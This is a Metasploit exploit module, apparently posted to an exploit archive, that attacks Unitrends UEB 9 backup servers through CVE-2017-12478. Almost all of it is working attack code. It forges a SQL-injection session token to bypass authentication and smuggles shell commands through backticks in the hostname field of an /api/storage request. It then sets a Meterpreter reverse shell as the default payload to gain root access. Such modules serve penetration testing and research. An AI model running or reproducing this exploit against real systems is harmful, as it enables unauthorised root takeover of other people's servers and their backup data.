Unitrends UEB 9 HTTP API/Storage Remote Root
Posted on 21 October 2017
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Unitrends UEB 9 http api/storage remote root', 'Description' => %q{ It was discovered that the api/storage web interface in Unitrends Backup (UB) before 10.0.0 has an issue in which one of its input parameters was not validated. A remote attacker could use this flaw to bypass authentication and execute arbitrary commands with root privilege on the target system. }, 'Author' => [ 'Cale Smith', # @0xC413 'Benny Husted', # @BennyHusted 'Jared Arave' # @iotennui ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'CmdStagerFlavor' => [ 'printf' ], 'References' => [ ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'], ['CVE', '2017-12478'], ], 'Targets' => [ [ 'UEB 9.*', { } ] ], 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'SSL' => true }, 'DisclosureDate' => 'Aug 8 2017', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]) ]) deregister_options('SRVHOST', 'SRVPORT') end #substitue some charactes def filter_bad_chars(cmd) cmd.gsub!("\", "\\\") cmd.gsub!("'", '\"') end def execute_command(cmd, opts = {}) session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass session = Base64.strict_encode64(session) #b64 encode session token #substitue the cmd into the hostname parameter parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`| parms << filter_bad_chars(cmd) parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}| res = send_request_cgi({ 'uri' => '/api/storage', 'method' => 'POST', 'ctype' => 'application/json', 'encode_params' => false, 'data' => parms, 'headers' => {'AuthToken' => session} }) if res && res.code != 500 fail_with(Failure::UnexpectedReply,'Unexpected response') end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end def exploit print_status("#{peer} - pwn'ng ueb 9....") execute_cmdstager(:linemax => 120) end end